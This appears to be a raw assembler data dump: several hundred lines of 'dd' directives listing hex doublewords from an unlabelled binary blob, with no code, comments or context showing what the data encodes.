dd 513F3C77h, 0B7140D80h, 6024C87Ch, 48C07307h, 2660E867h
dd 0F4749769h, 0B5F30063h, 4F412A3Bh, 4B003CEAh, 3F2C3839h
dd 393DEC55h, 0E4BE5E56h, 3AD55B8Eh, 7F7E7700h, 9C07102h
dd 7866D20h, 817C00F9h, 1BDCAA9Dh, 0FB002CFAh, 0EF09E552h
dd 0B8C291h, 0B7BFDEE1h, 3BD52FD1h, 6E78A0A8h, 71DB3E00h
dd 0E88867Ah, 47C00A33h, 87FC6C43h, 40B4E8F4h, 39E03ACFh
dd 8055FB3Ch, 0DC0DA15Bh, 7321CE8Ah, 0C95401F6h, 6E69482Fh
dd 9BA052E9h, 7BCFF040h, 7016FE03h, 805201E3h, 0F73764h
dd 0BDBA113Bh, 15D23486h, 394D6000h, 0E5D7AA25h, 23A23BACh
dd 0B9DCDD00h, 3D5C61CDh, 1BE44A00h, 988BDBB1h, 266603B3h
dd 0CAE965AEh, 23A8009Dh, 2389E81h, 0D2B0631Ch, 0E1D6C4C0h
dd 0BF6147h, 0D4BC6CD7h, 7B93B4DFh, 0F8817A00h, 8F60C8Ch
dd 0FCA7077Ch, 15F489FFh, 0ADD409CAh, 9A85808h, 0BC807FDAh
dd 1F02D345h, 17921B15h, 715A00A4h, 34C76AEEh, 0F6680F41h
dd 2BE07FA1h, 0EABD4D73h, 0E4889C00h, 20A3FB2Fh, 14D1F6C7h
dd 8755C22Dh, 85B1441Dh, 805F42EEh, 97248AC5h, 11293500h
dd 3B74096Ah, 4AF8002Bh, 7394F5A5h, 0FC032807h, 72673AACh
dd 343D8F3h, 0BB1016Dh, 5AEAB2BEh, 0EC86F538h, 9D017914h
dd 0AF8A08B5h, 4DC0E69Ch, 795B98D8h, 0E01F004Ch, 5F961556h
dd 0C9F2EE1Dh, 670009EEh, 0F220A60Ah, 25A141Fh, 9B3F1CBDh
dd 24C45F95h, 0DD3EFA0Eh, 458D008Bh, 0DC315Bh, 0AC199EAAh
dd 0A76638F0h, 4EA4D400h, 0A9016B67h, 6C7C0027h, 0AA163ECBh
dd 0D901B342h, 0CAE4E912h, 61E4CEC4h, 48037CFAh, 4938F8F8h
dd 318AE0BDh, 3B87D9D8h, 3B44BA00h, 0DB7D0DFh, 46204A60h
dd 7830F33h, 8F218B7Fh, 84231381h, 872A021Fh, 795C7Dh
dd 0DBCDEB1Bh, 0F3315Fh, 5361F49Ch, 5EC696ECh, 1E003AB8h
dd 7FB091F7h, 0FCAC95h, 9CF10894h, 5E731411h, 4600BBF0h
dd 0B7EDDC35h, 0E64C0Fh, 0C362AEB9h, 43D44225h, 0B1456A0Eh
dd 8566A365h, 7BF188F5h, 0D172008Fh, 0A5948C37h, 983A02DFh
dd 133E840Fh, 4CC020A1h, 5B2C2A95h, 39A6AC46h, 0F51CF7F7h
dd 0D0118F8h, 0B381B047h, 402C60h, 0DBBF4964h, 0D044DDE5h
dd 0BF1C0538h, 0E0282469h, 89A2B98Eh, 0CA5420F4h, 26F77h
dd 40392D23h, 2C606537h, 75E8277Ah, 5522BE00h, 0DCE7B1C5h
dd 59320039h, 16343353h, 0F3003554h, 0C587FB83h, 88A4B3h
dd 736677DCh, 99E330FDh, 0DE98B06Fh, 520099ACh, 6B15206Eh
dd 724C1E56h, 402F1DD4h, 0AB0A14F5h, 9C73990Ch, 9674ED0Fh
dd 9E8C801Ah, 71D817h, 5AEB22CBh, 0F797A6F9h, 0F05FEE2h
dd 36CA7CADh, 7CF47488h, 1D8A1DAEh, 0DEF25CB5h, 9266818Ch
dd 602F19DEh, 0F7125068h, 0CC122D3Eh, 39760902h, 60E48F15h
dd 8506F0F2h, 902003ADh, 0ABEEB1BAh, 5D0F4800h, 88E644B2h
dd 0C36009Ch, 0D81AA85Fh, 4B079B89h, 40B658D1h, 865C2E40h
dd 71130022h, 5E6C4A50h, 1A002183h, 6E48586Ah, 4D890869h
dd 4600CCCFh, 45DDCDA9h, 0E9003014h, 0C0E10340h, 1DB2B897h
dd 80076A50h, 0BA64627Fh, 0D7000EFEh, 3FBF7AA3h, 122600Dh
dd 7028D9BCh, 0D0845B8Bh, 0B230331Eh, 0F83AB8B0h, 68507DAh
dd 87278D4Ah, 286651BFh, 9D8850A9h, 0FF00CA22h, 369EF2D5h
dd 28FDBCE0h, 0EECC866h, 16A5EBB6h, 81F52460h, 3A00F305h
dd 688B326Ah, 1C262BEh, 23CF6C0Fh, 0E46ED2F2h, 9F2C9D2Ah
dd 3F00745Fh, 0CCA8287Dh, 35310955h, 1E00BCB9h, 9FD7F6F9h
dd 4A5F520Fh, 0FB860213h, 63C2C012h, 73DC0026h, 61C9FD3Bh
dd 0D00AF80h, 1E8C9E11h, 0F80FA6h, 0CD3D93EEh, 4A48B1C3h
dd 803148h, 9CD23F65h, 39AB3652h, 22800EE2h, 21B9FAE1h
dd 1400CD6Ch, 0D75D6097h, 535C608h, 749C51E8h, 47CCC3F6h
dd 4A236498h, 2B5B6107h, 25536342h, 2C5CD830h, 16B7947h
dd 18DEDD23h, 0FC170C06h, 2405DBEAh, 48FCF31Eh, 3B236C90h
dd 1FD2B058h, 0C635AAh, 0C2720480h, 0E43BB3D8h, 7C7087B7h
dd 2530EEFBh, 0FACF4527h, 91B500B4h, 54B0C360h, 595C5C13h
dd 9FA40094h, 5D1B7672h, 83CD006Dh, 0FB36C4D7h, 4006706h
dd 0EA6E9816h, 775C1F12h, 0C370019h, 0ED1A924Bh, 130060FFh
dd 1795F78Ch, 0F6D972h, 0B20EB29h, 64423090h, 686ED837h
dd 0E89DAB40h, 0B6A7092Bh, 1B80DBDAh, 0E539E782h, 0C62E6C98h
dd 0EF001A9Ah, 0A186E2BAh, 0A0F15094h, 60800A7h, 0FE78AA0Dh
dd 25CA215h, 69039BCh, 0AA70EFBh, 5BD7F20h, 376B61B8h
dd 3D66C0C9h, 561652BFh, 0EF0090E8h, 3F395CC3h, 2AEC60h
dd 26E0A8C6h, 0D41CA72h, 4B50254Ch, 3869D401h, 6830DA05h
dd 3EBF003Bh, 5611E8D0h, 99008319h, 0E38D86B8h, 172D890Fh
dd 7DD4EFBh, 0C0B72654h, 0C97BE7B3h, 3C0079F8h, 0F82A7009h
dd 0EE39FC3h, 159389E0h, 0DB8ED881h, 5045E431h, 27715Ch
dd 1BC369BFh, 0EC41285Eh, 2F223961h, 0D1CEC0CAh, 0F300AA5Ch
dd 0BAF5A0E7h, 54147993h, 3B8B943Fh, 87249A1Dh, 77E1001Fh
dd 5DEB981Fh, 0DAA72806h, 20277Ch, 2AAC4B8Ah, 47516340h
dd 0B27E3673h, 73483F48h, 50574C01h, 65BC74B5h, 0AC849440h
dd 0FEE426CBh, 3ABF80F8h, 51B93BC4h, 0EC1C4Dh, 1058E65h
dd 74AB93h, 7EA5CEE4h, 136A7BFBh, 72005776h, 0BF043468h
dd 0FE578h, 0A463DE88h, 4893CE7Bh, 0BCA3981Fh, 99127346h
dd 0A72C00C8h, 30339C75h, 6406AF1Dh, 0A898A384h, 8CB000F0h
dd 0A0BB5BD1h, 5E163FECh, 7C41D245h, 0ED8769EEh, 22EC30h
dd 0B00FE7D0h, 0DED5338Fh, 7F8A643Bh, 80340E3Eh, 794E6341h
dd 0B775C9h, 139C867Dh, 0FA2753D8h, 47109502h, 0C0B2B44Fh
dd 1EAA3Ch, 0A849317h, 73FE1CA2h, 81001078h, 69229A09h
dd 54B01A01h, 48C28C7Ch, 740E7E6Fh, 9060218Ch, 466523FEh
dd 570721D2h, 650E32B9h, 21803F31h, 3A4D3833h, 0D80149DEh
dd 1A8642D7h, 0F0308021h, 5824A734h, 3C3E7AF8h, 1004BAC5h
dd 806A47E2h, 63290358h, 30F88030h, 6467BC9h, 4250BDDFh
dd 96006E34h, 0F6075349h, 0FE97CC3Ch, 0C394006Ch, 0D1D4C2C4h
dd 56003EE1h, 229C7EFFh, 94660314h, 0C5B91C6Ch, 803B37AFh
dd 0D1C160ECh, 3831B107h, 8AA0614Fh, 0ADF6CBh, 29623F07h
dd 77CDD5A9h, 6BF21A00h, 0F838607Dh, 132F008Ah, 11CB3AD9h
dd 4F00D3F4h, 0A4EEC3ABh, 0F2DC8177h, 57DA007Fh, 58C11FE1h
dd 0E190B3DBh, 770D951Fh
dd 2FAE4580h, 74A9FBh, 3F667939h, 5D3682C9h, 0E97BC07h
dd 0C1E55A4Ch, 0F1DD02AEh, 0A8E4C97Ah, 0AD58F9F6h, 0C56F126Fh
dd 72B16402h, 0D1A28054h, 5D7DF38h, 0C1103E32h, 0F590C028h
dd 0F400F88Fh, 5FFA567Bh, 70E5095h, 0E6D2478Eh, 0D03917CCh
dd 0B1543DE5h, 3EE8C11Ch, 11EAF580h, 5AF43194h, 1F904017h
dd 9925AA76h, 0D94A6600h, 0C2FD61FEh, 3BE600C5h, 161D1102h
dd 4B004F76h, 24705025h, 73F719h, 62B220C9h, 0DE28AF4Ch
dd 7F524F00h, 0AC11371Ah, 16FB01E8h, 0B5FA0B8Fh, 74F4704Ah
dd 330138h, 0B24172E3h, 1DBC5749h, 13A0991h, 0D5503947h
dd 8F880DDh, 6778E45Fh, 1E572B8h, 4C43BC60h, 20EEE217h
dd 88B613CCh, 0E64F97BDh, 6E6DF840h, 5C8719A5h, 251C1497h
dd 24F84075h, 0B5F38841h, 0A8B7A02Eh, 16932186h, 0A5B1D39h
dd 170975Ch, 7F4520D8h, 0A409F0D3h, 1AAC1E1Dh, 0B17E67C0h
dd 74A057CDh, 0F4FF1D1Ch, 34638064h, 0D70786D0h, 0B4026D98h
dd 21F79CBFh, 5CC07AECh, 881C8C74h, 0B2CBC47Dh, 0C694F0ACh
dd 0F9F30F01h, 0D4B90725h, 7247A060h, 0BCB007EAh, 0A04CE468h
dd 0AD37C7D7h, 663E2E00h, 980DE2EEh, 55DDA218h, 74C0EDC2h
dd 0B34FD4F7h, 746C8C20h, 7EE53052h, 20190BF9h, 300AE807h
dd 5480E255h, 9E591BC6h, 81AB0084h, 3149EF0Eh, 0B400ADFAh
dd 0BEEE3B51h, 0FAAC354Eh, 90F11E6Eh, 0E1438047h, 0FAE5DEF3h
dd 0BAE2C49Ah, 25586600h, 0DDCC4974h, 2D2FE40Ah, 0CC80D2A0h
dd 0D9B27F9Eh, 945D800h, 16AC5751h, 396AF2D6h, 0E980A808h
dd 2AB1AC9h, 0F900BF20h, 56322CFAh, 62553Fh, 0C43B8AEEh
dd 0C96B65BEh, 0BB70C30Ah, 2F02D467h, 82E09253h, 0B833DDC8h
dd 3A8B3660h, 2D80E745h, 0CF0220FFh, 9100E0C5h, 39214210h
dd 9E73C2h, 1C0FE60Ch, 0C4A551DFh, 47D6A202h, 0C0D4C3A3h
dd 1F885AA4h, 30248CFDh, 0ECF06C10h, 6A9D2E01h, 0D3023C67h
dd 4E4A1880h, 6518F894h, 0C3DA240Ah, 0B181C460h, 0DB550FDDh
dd 0D99D2880h, 0B0E537CDh, 0D4F252h, 418A311Dh, 38B6BF56h
dd 0F00AB5Ah, 5E7339DEh, 0C13AEC24h, 366C81BCh, 0F5E23FC5h
dd 0FB7AE8h, 6D987546h, 39E4D0C9h, 8EAA7700h, 1A80840Dh
dd 0FF4E18h, 94A8218h, 0F216F59Dh, 8F00A07Ch, 0F14B5284h
dd 2E92019Ch, 56ECF8D0h, 0CAE0C4E7h, 0D1FB8490h, 798C7997h
dd 9EDEB200h, 5A24897Bh, 56AC3A2Bh, 0A440E900h, 1DA994C8h
dd 14A11A0Fh, 0BDF8E383h, 8F9381F5h, 0EFB7E0h, 1D76BE59h
dd 5CBCBF58h, 4B6B9500h, 7AF01478h, 0CE500099h, 76F66181h
dd 170A3296h, 94FD8F5Eh, 0F919AC00h, 19402AEh, 5BB8CE5Dh
dd 242DC355h, 0DE054670h, 0CB085C03h, 582000A5h, 0EC3339EEh
dd 57BC28DEh, 0DDDFD606h, 7195852h, 0F10B100Eh, 3090601Eh
dd 2C018C80h, 0A90424E7h, 746CCB33h, 0F51C8580h, 3609D16Dh
dd 603B3CC9h, 60B30240h, 0ED41518Dh, 6F3E1676h, 0A3C00E2Ch
dd 0DB3226BFh, 5FC10048h, 9D1D8610h, 0B2009612h, 8B4BF917h
dd 130E0825h, 0FDF7D4h, 0D287B51Ch, 140C7B36h, 61A680EFh
dd 0D27D78B4h, 0F690C0E0h, 392F9122h, 0F35090A5h, 0ACCF403Ch
dd 699D88h, 0AAF98545h, 0A949FCF6h, 488680Bh, 668A0172h
dd 0D8606A54h, 0DDF224DEh, 681482E8h, 6873CAh, 0CF007DB8h
dd 0A9CC80E3h, 1558E0h, 501DDE08h, 4C3B5ECAh, 0BFA29E07h
dd 68005122h, 97DB47h, 0FA441CB0h, 96618F7Bh, 0F3BE58h
dd 0B43EEFBDh, 750FF8h, 2362025Ah, 3452C1CAh, 0E1426B00h
dd 54BBCC25h, 0E7A10FFCh, 3F206961h, 1A5CFA4h, 2EDC9C00h
dd 29095D2Dh, 0E2E4007Ch, 0E9207D9Ah, 0C93AFA07h, 0E01387B3h
dd 0E974E19h, 9E3D6D90h, 0FC830031h, 0D59D063h, 45983F40h
dd 0F8C55300h, 0E112025Eh, 9AA8C577h, 0CE098609h, 0A1F20E6h
dd 0DE8096D4h, 5EE88EBDh, 811F003Eh, 0E6137E90h, 0B100D89Eh
dd 0A9437BEAh, 3AB44149h, 0AA006CCCh, 0C365D24Ah, 9900C7ACh
dd 3A1FFA89h, 39731D2Fh, 0D30058E3h, 0E7EDB125h, 7100AD26h
dd 5E8C8E5Ah, 6635226Bh, 583FDEBAh, 0ABE3F100h, 5D4381AAh
dd 2CD60F31h, 7740C040h, 8EB642D5h, 804E3600h, 0BEC92E43h
dd 699E02Fh, 30FA87B1h, 7001791Ch, 1763D6A0h, 0D8E04AC4h
dd 4C1018Ch, 760AF826h, 0EF9C409Eh, 7F07ECABh, 915A83A0h
dd 0CC53931h, 6378E4h, 0ACEA99E3h, 0F1FFDDE5h, 858A600h
dd 8DD21BF9h, 0D65F00B8h, 402B52F5h, 62003D6Fh, 70EC9DE5h
dd 0D9CAEAh, 3868B34Ch, 6A98B2C9h, 9AE32000h, 6E728E2Ch
dd 54A21F3Dh, 64F700A1h, 15B5CF96h, 0DC394800h, 0EABF41FFh
dd 6DAD00DBh, 3632D511h, 0B600D078h, 0AF7FCDD4h, 0F8DC8Fh
dd 0B7743F77h, 92B519EEh, 1FF4EF00h, 8431EA54h, 602600DEh
dd 8F47D94Dh, 62000C5Ah, 8D1CB5C4h, 0B863D046h, 410700ABh
dd 0B9B20D37h, 51003410h, 1342610Eh, 67D0873h, 6794E518h
dd 1A6F0920h, 0E21D80C8h, 0C0126899h, 0F62E6E18h, 97011358h
dd 0BD18F38Eh, 92FC64BCh, 6EFB0095h, 3096DAF2h, 0D00024CAh
dd 6A370140h, 111A498h, 76F9979h, 0F0FBDA43h, 10FE7573h
dd 988F801Eh, 4B01EEC0h, 706CD94h, 4091B029h, 0FB24B058h
dd 7E00A91Dh, 0B920CE95h, 127AF9E4h, 43ED89B1h, 429E2524h
dd 6E889DE8h, 0ECCC1800h, 0F820C102h, 1FDEF82Dh, 0B07131C6h
dd 0B63A2FF0h, 3CD9B00h, 78632907h, 9E89269Fh, 0C2670000h
dd 9BF8ED19h, 0A2B210C0h, 0BA7E87h, 4DFC8AACh, 0F92EF313h
dd 0A893EF03h, 0A0EE48F5h, 0F0E9537Eh, 7FAD002Dh, 496AF8FFh
dd 0D67F875Dh, 0F3416E01h, 0C06470B7h, 14F18ECh, 9AB4893Bh
dd 208C5AD4h, 0B9003C14h, 0F01162AFh, 0FC09906h, 7E7CFFE5h
dd 2A340F82h, 1426A883h, 0BD09C803h, 0A01CEFC0h, 1824F7C8h
dd 0B4F5BEC7h, 930FCC5h, 4B0F20BFh, 2F330052h, 0D58F2B3h
dd 1EE09891h, 5FB9BE14h, 79B505E8h, 0DC40764Ch, 0ECC5FA6Dh
dd 0AE30F74h, 0C0208322h, 0B47C7A33h, 0C400FD98h, 0EA58F576h
dd 4C44B7D5h, 0E8018C25h, 7D4ACC9Dh, 0A4F9D4E2h, 7B95E403h
dd 7D39031h, 925E0328h, 0F080CBC5h, 0A77988F6h, 53134600h
dd 0BD19B190h, 0E7AA0083h, 0E1A58615h, 1F3A6B08h, 2E3780B8h
dd 4AC37804h, 22F30490h, 93751436h, 0ED8FE2Ch, 0A3EA7016h
dd 7F00D1FCh, 0E05B0134h, 120FC79Bh, 0E72BAF8h, 0AFC08A00h
dd 0BDF283E5h, 0B96930FDh, 0F38DDB03h, 0E084DCB8h, 54E1B3h
dd 0B78E0F08h, 5FC0636Dh, 0A74C1601h, 0A86874B4h, 283BE441h
dd 0F54F60h, 0BB3046A5h, 9B8B25Eh, 0D5959E00h, 52939935h
dd 15BC00CAh, 0ED3F8461h, 340F2B86h, 0C045CE76h, 951BFD83h
dd 0C39000C1h, 0D7A864DAh, 43E87417h, 0CB6AB700h, 4CEB19F0h
dd 650A0081h, 1C7178D9h, 0F9022710h, 0D39C2068h, 0D479E0A2h
dd 0AD5200A3h, 0EF451167h, 8D0005E2h, 0C8C11CF1h, 5C3D1BF2h
dd 62002014h, 54332D5Ah, 44B228FFh, 0A3FA9D02h, 602C9CCFh
dd 1FD08B4h, 5BCC5199h, 409ADF78h, 5011569Eh, 98E57200h
dd 0AE53A2CDh, 44122E7Ch, 0B3C200CCh, 223D1D8Eh, 6DBA5E00h
dd 3124CB99h, 0B26B031Eh, 19816F30h, 0AC26AAC0h, 0CCA05578h
dd 1700F41Dh, 65369633h, 5CAB067Bh, 1044DC25h, 13E811Eh
dd 67D046CBh, 0CCEA4025h, 8602267Ch, 7AEFDD5Dh, 0E9A763DCh
dd 0D8CC6660h, 0AC58C5C9h, 1C284158h, 840ECC33h, 50F1818h
dd 7E317303h, 9D0927C9h
dd 707DB10h, 0D9C04ACBh, 6F320BE8h, 236B48ADh, 0F1896301h
dd 2C303418h, 0B50069EAh, 0E7D10E1Dh, 58071AF4h, 0C6079532h
dd 0A32273AFh, 66D8D630h, 681FE546h, 2158A00Eh, 75EDD018h
dd 714200DDh, 5AC9FF07h, 4B30B27Ch, 80D2011h, 7D0A805h
dd 0EE560C02h, 33303C29h, 9E5E6728h, 0BE1DB206h, 78183E9Ch
dd 0C362B07Dh, 80631E40h, 0F2347BC0h, 0B51092F0h, 8053874h
dd 406B912Eh, 0AE6DEC90h, 77324E4h, 5AE11766h, 0B1D1809h
dd 0A27D8909h, 30C355Ch, 206EAD41h, 3439D1D0h, 585E4E0h
dd 0D27182FDh, 0D17E8024h, 57014F21h, 0B338A16Ah, 0C3DFA52Ah
dd 96CFE0D0h, 0C030000Ah, 0FE1FDB45h, 0C8F8D21Eh, 63FDDD03h
dd 31605D24h, 0AF713160h, 4660C2DAh, 6109387Dh, 8B3513D3h
dd 0FA3220B8h, 0EE46849h, 0CB60781Ah, 65AF530Eh, 303839C0h
dd 3316DAB6h, 24007FDEh, 3E314C8Dh, 0B9180079h, 0FDBFD369h
dd 6060F694h, 0DA654FA0h, 587500BEh, 864D7CFh, 87007978h
dd 27047CA8h, 60C090D8h, 37D2D06Ch, 0F1C3D3BFh, 34EA32Bh
dd 98BE9AE9h, 4E0E5F5h, 41739624h, 5B2929C0h, 74527E7Ah
dd 149E1DBCh, 8C0540FAh, 0C0040B63h, 0CA0C9D00h, 0E2607F79h
dd 0F0A10097h, 2DA4C551h, 1A009ABDh, 0C9C2D9CDh, 3A024A2Bh
dd 5180D587h, 89AE0D0Fh, 113D6131h, 0AB9180CFh, 5CC97FDFh
dd 2B298038h, 0A951A131h, 0F98067F7h, 0C8EA6DA6h, 0A801AA3Fh
dd 4E022722h, 0ACE48344h, 664D00D4h, 0C95CF5A4h, 41C04F28h
dd 63DEA06Eh, 59340245h, 0BA70C5A2h, 5567EC80h, 5748F99Fh
dd 314830B0h, 1E2AD875h, 0C0C3D4EDh, 0B4079B8Ch, 5239FD68h
dd 0E943809Ah, 8EF13B4Ah, 335E28A8h, 3A6DF2AAh, 9F80C7CEh
dd 2AAF906Bh, 940048EFh, 7BD853C1h, 2A4CE40Fh, 2443FEh
dd 0B6C04455h, 9C51EEDDh, 0D1C59605h, 0D3C0A634h, 0C3D75BD2h
dd 466F9D28h, 7BFDAAA0h, 418F5137h, 15E318C0h, 0E0060019h
dd 0C28CB0AEh, 0A01E5D84h, 6047717Eh, 0B1E062FDh, 3C617447h
dd 9C1C0B7Dh, 0BD6A4032h, 8CF40C39h, 0F1E99D18h, 0A14360h
dd 0B042C374h, 2833CB9Bh, 0E89EBB0Ch, 5221F4h, 0E235180Ah
dd 0CD63E9D4h, 0C09D2B00h, 7C035830h, 0C2FFEF4h, 0E4D4D878h
dd 0EE39AAA8h, 0CF4160B0h, 1ED7EAh, 2885159h, 0F77C9D72h
dd 50B2F800h, 3ECA6A36h, 6890069Eh, 19140F7Dh, 0BFE8200h
dd 62BFFA2h, 3088A841h, 51A7A6Eh, 679AE843h, 700C024Ah
dd 94A5FE55h, 0D0A02063h, 9C007EA1h, 0F4771826h, 3CF898EDh
dd 4C0052E1h, 8371D367h, 3C00EBECh, 26EF0BD0h, 30A0E551h
dd 5A1885CDh, 243E13D1h, 7A982625h, 749A5700h, 0EA799F75h
dd 6EF9EE44h, 510F18E1h, 0ECFF84C3h, 40E734C7h, 7FF65450h
dd 0E3971029h, 59E680F4h, 58478489h, 6506A038h, 789BD5BBh
dd 2DE13208h, 0EF86015Dh, 80FBFFE3h, 7799E039h, 0C286744h
dd 2B7EAB37h, 21C0D508h, 0DF7790C0h, 0B72D00E8h, 0C3F54F06h
dd 0DB18F10Ch, 8F1889Dh, 305A5047h, 69017832h, 50801053h
dd 88B0A07Fh, 80DE9F3Dh, 52079D18h, 0EC46938h, 70955494h
dd 80E2E904h, 0DED148CFh, 8090E63Fh, 31745586h, 0FA0BF718h
dd 75D7A0Dh, 0C6CCA4CDh, 8502D03Ah, 0B000D272h, 0C7AD6CBFh
dd 288FD33Ch, 0CA62EFh, 0DB5FC5C1h, 0C230379h, 39E64500h
dd 847A6910h, 81141283h, 0C911007Bh, 0A4C0B53Bh, 1F3A9301h
dd 0C32EDFC4h, 0CFC64085h, 83042AFAh, 66F6D6h, 3F4DD210h
dd 0F968E3A8h, 5DEFA301h, 78C3943Eh, 3CFD6CCh, 0DDC2607Bh
dd 291134B7h, 173EA52Dh, 7C84A344h, 0EEA189E5h, 24DF5122h
dd 3D5B40B7h, 0FFF4F96Fh, 5FF0E8h, 56FB6553h, 5CF38A40h
dd 43203B61h, 5D8A648h, 509900C0h, 779FA127h, 6E00BDEBh
dd 7AA44169h, 8564FFh, 6FF318C3h, 1E214C2Fh, 0E9F0D960h
dd 25553Ah, 0EB729CA0h, 0C67CE574h, 770A4907h, 24E39E0Fh
dd 0D4F9F015h, 0EFE98CCh, 586F4DD6h, 0C9FC93A1h, 3CEBCB8Ah
dd 4C9C48C8h, 5CB95300h, 77BC3405h, 0CB3B0010h, 82B73FE1h
dd 967FA193h, 0F6B1E600h, 8079A075h, 0EB3100C7h, 491C61F9h
dd 2A03BE92h, 19B93C27h, 86E4D15Ah, 3FF001D1h, 0F33009F6h
dd 0F9031588h, 70DBEFD4h, 0F4CF73C1h, 6C3E318Ch, 0A9D600A7h
dd 95AB262Eh, 97882E7Fh, 50E300C8h, 0B0D90C47h, 750FE972h
dd 0A061AB35h, 164F71DCh, 9F9D00B8h, 0F1838B3Eh, 810011A3h
dd 155BD78Ch, 48DDDFCFh, 90714CDh, 90EB4E52h, 1F83F2E1h
dd 80688F3Ah, 0B555078Bh, 3AF5FD2Bh, 7B80B4E4h, 773C6194h
dd 0CF0733B9h, 1C4ACD9Ah, 3B597020h, 2D491E40h, 560D8082h
dd 7DF0BA88h, 34EFF200h, 584D85DFh, 204B008Eh, 495087C5h
dd 901DDAA7h, 166EAE92h, 0E893600Ah, 3A3C8A03h, 3386F010h
dd 12EF01Eh, 998EAA40h, 0F08FB730h, 5F00B43Dh, 0C4D801CDh
dd 7B3EE53h, 0DDC59B5Ch, 0BBE040BFh, 0BE019D5Eh, 0A4A7163Ah
dd 3DC49434h, 90DFE35h, 225528AFh, 7B7F0C00h, 32309DE3h
dd 4F5B1023h, 0E9DF03D9h, 0CD5DCD1h, 3C94D000h, 8F8E1AC6h
dd 9C2800A2h, 1EAE2FFBh, 3500FE27h, 334F1DCCh, 8E76F3h
dd 1C6EA7DEh, 49D3BA82h, 0FCFF3700h, 10F45FE1h, 46B500A5h
dd 34AC7C6h, 6CE8A7B6h, 0BD48E01h, 0E6980706h, 19D68489h
dd 1EFA9300h, 9703C991h, 7CE446F5h, 0E7B8B843h, 1FBFC51h
dd 1A2A32AAh, 0F82305B3h, 6A09D5C0h, 5F6C579Ah, 2BCBC600h
dd 5EE34E0h, 0F2674B00h, 0D980EA91h, 786903DCh, 0FC02C54Ch
dd 4EA00AD8h, 90038B73h, 3D348222h, 6D6BD0E7h, 0ADAB0F4Ch
dd 4D603C91h, 319B9256h, 3E573B04h, 38C063E7h, 7B395Ch
dd 8B4150E5h, 614F43F4h, 4506E2FEh, 3740F7BEh, 235F0020h
dd 7C2927F2h, 830113BAh, 2C32B867h, 0D960A379h, 12067589h
dd 0DDF05Ch, 47B21BFCh, 0E912C307h, 0DC0092B9h, 0F53428E0h
dd 0A82C003Eh, 13B77E6Fh, 2A0333E6h, 45CACF0Ch, 0ABC7D580h
dd 30B32F90h, 25E6B8EFh, 335618B9h, 29C7C200h, 7112E54h
dd 0CFD9657h, 95F031DEh, 0E37FC03h, 64CD4714h, 6FBA00ABh
dd 999CB41Ah, 68D101ADh, 0FF6D9371h, 334DF47Bh, 5E66B500h
dd 3A323FE0h, 0C898C4h, 2AEA525Ah, 8F14C56h, 0ED005474h
dd 0F44F582Ch, 245F01h, 3E6F36EEh, 0A78CF6FEh, 6D001C73h
dd 42AB3C84h, 0B4D9A5h, 8DBA66Bh, 257A9DAFh, 3676BB07h
dd 0BFF0029Fh, 7CD7E198h, 76A94C60h, 0C0B0B100h, 0DBC1E65Bh
dd 84298E1Eh, 0BB6CED03h, 0D4310E02h, 0B343771Bh, 7CB895BEh
dd 5C000399h, 0ABE38467h, 9CFB5BFh, 0C7C9159Fh, 2EACD000h
dd 0B4029EFCh, 0C079DEB6h, 427C4072h, 1C92ECD5h, 80B76B01h
dd 52B8837Dh, 0D65CAA8Fh, 843924EEh, 0A673C701h, 31C4AB59h
dd 0D0ED0048h, 0C82095C6h, 4D74DF5Dh, 80B15C00h, 7AAB301Eh
dd 13CD071Fh, 0F0AE5695h, 5ED3B070h, 1EAEC14Bh, 98CD4001h
dd 946F378Ch, 11EAEB00h, 1FC41B79h, 0BAD60039h, 0BC088366h
dd 0E5FC58BDh, 60F19701h, 0F226378Fh, 0E8B05760h, 0BE5624B3h
dd 0DD1EFCh, 19EE7086h, 4F6E588h, 0BB740700h, 17722213h
dd 53DD0F80h, 4FB31A96h, 4540465Ch, 57B2F4CCh, 5B82E0E5h
dd 0B5F2B600h, 9AEBBB54h, 43B00059h, 20142F50h, 0F50080E6h
dd 3962063Fh, 4507DAh, 5B184052h, 0A57383C2h, 0E2A1E880h
dd 0E10D009Ch, 0C52DBD39h, 8E0045DAh, 577AB90h, 32734FFh
dd 82A44320h, 1FC82315h
dd 6EE664E1h, 0F332D000h, 780EC337h, 0C94E009Ch, 66EE67FBh
dd 7001ECBh, 158AC250h, 0EE490FA0h, 33E70917h, 29809BC9h
dd 0D8FF3671h, 426A8B05h, 4C80CDB2h, 2C6766h, 1BC728E3h
dd 88BE9665h, 0C9DB8D00h, 0D9515AF6h, 0C216009Eh, 626D3A34h
dd 7E00D356h, 9BE13085h, 0FC990BA9h, 0E4DAB831h, 78F00982h
dd 0F000D896h, 324A222Eh, 0C7D96006h, 3CAA0D8Eh, 58016BE8h
dd 7AA6A352h, 0D47BE951h, 7C002EF6h, 0EF78208Dh, 37DB2E2h
dd 73199529h, 7E80C336h, 91CA4D6h, 1744BCF5h, 6890C89Eh
dd 3D626422h, 8A1E3768h, 0FC161DC1h, 77915580h, 666E27DEh
dd 0B4266C01h, 3B7C104Ah, 64BED8h, 97B54E73h, 66A63923h
dd 96277505h, 38945F1Fh, 0A11DE3C0h, 0F35000B2h, 4CB15AB4h
dd 0C04D6B5Eh, 21E50060h, 0DE0FCBB8h, 608A7E80h, 4E841896h
dd 0B0ED373h, 0C098DB2Ch, 0F5DD7C19h, 8C7D0029h, 0CF0EACA5h
dd 4F006A3Bh, 0A62B2E64h, 0C00CB0h, 0F2192758h, 0C128578Dh
dd 4AF40400h, 0DFD545F3h, 841303CEh, 3830021Ah, 2ABE0EB5h
dd 0EBE38300h, 787A6C25h, 8B8E4B03h, 0C8856F19h, 0F75527h
dd 10B71504h, 6128F999h, 0EBFE8807h, 0CBD035D5h, 1959E9Fh
dd 9B598C1Eh, 0C8A03028h, 140029B1h, 8105C9D3h, 4E0C7Bh
dd 0A4D1BA4Ah, 0E9FE28D2h, 0FFFACB00h, 77BF817Ah, 304B00DFh
dd 9552518Ah, 0D800314Ah, 22E156D3h, 70C753h, 0FF63F34Ch
dd 0AECCEF16h, 5D0481F4h, 0E23B9EDBh, 9280A0h, 9CC2B365h
dd 0AA90A967h, 0C4B68800h, 0C9AC669Eh, 988F1D95h, 0C7E100CEh
dd 7340C60Fh, 31D63500h, 42DB08C3h, 0D41D0070h, 1681623Bh
dd 0B8987EB5h, 27FEEE14h, 264681B8h, 37F012CEh, 666F020Bh
dd 5F99131Ah, 4045EEE0h, 6E537D00h, 9B88440Eh, 0E4E6018Dh
dd 0E139DB09h, 15CBC0EBh, 861C8E1Ch, 5D46C900h, 0F299241h
dd 594477Ah, 0C05828A5h, 82C003F3h, 0C90F3Ch, 0CC3C871Eh
